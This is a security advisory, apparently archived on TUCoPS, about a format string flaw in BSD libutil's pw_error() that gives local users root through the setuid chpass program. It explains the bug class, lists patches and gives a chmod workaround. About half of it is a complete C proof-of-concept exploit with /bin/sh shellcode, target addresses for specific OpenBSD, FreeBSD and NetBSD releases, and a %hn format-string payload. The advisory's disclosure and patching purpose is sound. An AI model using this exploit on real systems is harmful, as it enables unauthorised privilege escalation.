TUCoPS :: BSD :: chpass.htm

BSD libutil pw_error(3) (chpass) vulnerability
Vulnerability

    libutil pw_error(3) (chpass)

Affected

    OpenBSD 2.7, FreeBSD 4.0, NetBSD

Description

    Aaron Campbell posted following.   A format  string  vulnerability
    present  in  the  pw_error()  function  of  OpenBSD  2.7's libutil
    library can yield localhost  users root access through  the setuid
    /usr/bin/chpass  utility.    This  particular  vulnerability   was
    repaired three months ago  on June 30th in  OpenBSD-current during
    a complete source tree audit for format string problems.

    This vulnerability affects  OpenBSD versions through  2.7. FreeBSD
    4.0 is vulnerable, but  patches have been backported,  and FreeBSD
    versions 4.1  and 4.1.1  are safe.   Bill Sommerfield  committed a
    fix to NetBSD today shortly after we notified him of the problem.

    In recent months a myriad of "format string" vulnerabilities  have
    been discovered in a number of software packages.  In response  to
    this threat, the OpenBSD team immediately began a complete  source
    tree audit, identifying  and fixing dozens  of these format  bugs.
    While most of the issues were  harmless, a few such as the  bug in
    xlock and one in the OpenBSD  ftpd daemon raised the red flag  and
    patches were released to  correct these problems.   Unfortunately,
    the severity of the format string bug that was fixed in pw_error()
    was not fully realized at the time.

    In addition to fixing the bugs, CAVEATS sections were added to all
    stdarg function man pages (printf, syslog, setproctitle, err/warn)
    to warn  programmers that  user-supplied strings  should never  be
    passed  to  these  routines  without  using  the  "%s"  conversion
    specifier.

    To understand  a format  string attack,  you need  only understand
    how varargs (see "man stdarg")  functions work.  For example,  the
    printf() function accepts a variable number of arguments depending
    on the supplied format.  Here is the function prototype:

        int
        printf(const char *format, ...);

    The problem occurs when one of these functions is used thusly:

        printf(user_supplied_string);

    An   attacker   can   put   their   own   format   specifiers   in
    user_supplied_string.  The printf()  function does not know  where
    it's arguments  stop on  the stack.   If you  put 100  `%s' format
    specifiers in the string, but  give it no arguments, the  function
    will happily continue on down the stack blindly.

    The problem is magnified by special conversion specifiers such  as
    `%n' which let  you write to  memory.  Further  attack details are
    beyond  the  scope  of  this  advisory.   For more information see
    Guardent's white paper on  "Format String Attacks" by  Tim Newsham
    at the following URL:

        http://www.guardent.com/docs/FormatString.PDF

    Proof of concept:

    /*
     * TESO BSD chpass exploit - caddis <caddis@dissension.net>
     *
     * greets: #!teso, #!w00w00, #hert!, #ozsecurity, #plus613
     *
     */
    #include <stdio.h>

    char bsd_shellcode[] =
    "\xeb\x16\x5e\x31\xc0\x8d\x0e\x89"
    "\x4e\x08\x89\x46\x0c\x8d\x4e\x08"
    "\x50\x51\x56\x50\xb0\x3b\xcd\x80"
    "\xe8\xe5\xff\xff\xff/bin/sh";

    char ptmp_shellcode[] =
    "\xeb\x26\x5e\x31\xdb\x88\x5e\x07"
    "\x89\x76\x12\x89\x5e\x16\x8d\x4e"
    "\x12\x8d\x56\x08\x31\xc0\x52\x53"
    "\xb0\x0a\xcd\x80\x53\x51\x56\x53"
    "\xb0\x3b\xcd\x80\xb0\x01\xcd\x80"
    "\xe8\xd5\xff\xff\xff/bin/sh!/etc/ptmp";

    struct platform {
        char *name;
        unsigned short count;
        unsigned long dest_addr;
        unsigned long shell_addr;
        char *shellcode;
    };

    struct platform targets[9] =
    {
        { "OpenBSD 2.7 i386       ", 141, 0xdfbfd25c, 0xdfbfdc32, ptmp_shellcode },
        { "OpenBSD 2.6 i386       ", 149, 0xdfbfd224, 0xdfbfdc1a, ptmp_shellcode },
        { "OpenBSD 2.5 1999/08/06 ", 161, 0xefbfd1a0, 0xefbfdbd6, ptmp_shellcode },
        { "OpenBSD 2.5 1998/05/28 ", 121, 0xefbfd2b0, 0xefbfdc6e, ptmp_shellcode },
        { "FreeBSD 4.0-RELEASE    ", 167,  0x805023c, 0xbfbffc68, bsd_shellcode  },
        { "FreeBSD 3.5-RELEASE    ", 135,  0x804fa58, 0xbfbfdcac, bsd_shellcode  },
        { "FreeBSD 3.4-RELEASE    ", 131,  0x804f988, 0xbfbfdcd0, bsd_shellcode  },
        { "NetBSD 1.4.2           ", 132, 0xbfbfd314, 0xbfbfdc36, bsd_shellcode  },
        { NULL, 0, 0, 0, NULL }
    };

    char jmpcode[129];
    char fmt_string[1000];

    char *args[] = { "chpass", NULL };
    char *envs[] = { jmpcode, fmt_string, NULL };

    void usage(char *name)
    {
        printf("%s <TARGET>\n"
               "1 - OpenBSD 2.7 i386\n"
               "2 - OpenBSD 2.6 i386\n"
               "3 - OpenBSD 2.5 1999/08/06\n"
               "4 - OpenBSD 2.5 1998/05/28\n"
               "5 - FreeBSD 4.0-RELEASE\n"
               "6 - FreeBSD 3.5-RELEASE\n"
               "7 - FreeBSD 3.4-RELEASE\n"
               "8 - NetBSD 1.4.2\n", name);
        exit(1);
    }

    int main(int argc, char *argv[])
    {
        char *p;
        int x, len = 0;
        struct platform *target;
        unsigned short low, high;
        unsigned long shell_addr[2], dest_addr[2];

        if (argc != 2)
            usage(argv[0]);

        x = atoi(argv[1]) - 1;
        if (x > ((sizeof(targets)-sizeof(struct platform)) / sizeof(struct platform)) - 1 || x < 0)
            usage(argv[0]);

        target = &targets[x];

        memset(jmpcode, 0x90, sizeof(jmpcode));
        strcpy(jmpcode + sizeof(jmpcode) - strlen(target->shellcode), target->shellcode);

        strcat(fmt_string, "EDITOR=");
        for (x = 0; x < target->count; x++) {
            strcat(fmt_string, "%8x");
            len += 8;
        }

        shell_addr[0] = (target->shell_addr & 0xffff0000) >> 16;
        shell_addr[1] =  target->shell_addr & 0xffff;

        if (shell_addr[1] > shell_addr[0]) {
            dest_addr[0] = target->dest_addr+2;
            dest_addr[1] = target->dest_addr;
            low  = shell_addr[0] - len;
            high = shell_addr[1] - low - len;
        } else {
            dest_addr[0] = target->dest_addr;
            dest_addr[1] = target->dest_addr+2;
            low  = shell_addr[1] - len;
            high = shell_addr[0] - low - len;
        }

        *(long *)&jmpcode[1]  = 0x11111111;
        *(long *)&jmpcode[5]  = dest_addr[0];
        *(long *)&jmpcode[9]  = 0x11111111;
        *(long *)&jmpcode[13] = dest_addr[1];

        p = fmt_string + strlen(fmt_string);
        sprintf(p, "%%%dd%%hn%%%dd%%hn", low, high);

        execve("/usr/bin/chpass", args, envs);
        perror("execve");
    }

Solution

    Workaround is:

        /bin/chmod u-s /usr/bin/chpass

    Use this command to protect yourself until you are patched.  (Note
    that the vulnerability is  actually in the libutil  library, which
    chpass is linked to, not the chpass program itself.)  Then,  apply
    the fix below to your OpenBSD 2.7 source tree.  The patch is  also
    available at

        http://www.openbsd.org/errata.html (025)

    OpenBSD users running -current (2.8-beta) with a system dated July
    1st or thereafter are safe.

    FreeBSD 4.1-RELEASE and newer aren't vulnerable.  This problem was
    fixed by us in our sweep of the tree in search of the format  bugs
    that came to light in late June.  There is a related patch as well
    available at:

        ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-00:58/vipw.patch

    The problem  was fixed  in NetBSD-current  on 2000/10/03;  systems
    running  NetBSD-current  dated  from  before  that  date should be
    upgraded to  NetBSD-current dated  2000/10/04 or  later.   The two
    active release branches  were both fixed  by 2000/10/05.   Systems
    running  releases  older  than  NetBSD  1.4  should be upgraded to
    NetBSD 1.4.2 before applying the fixes described here.

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH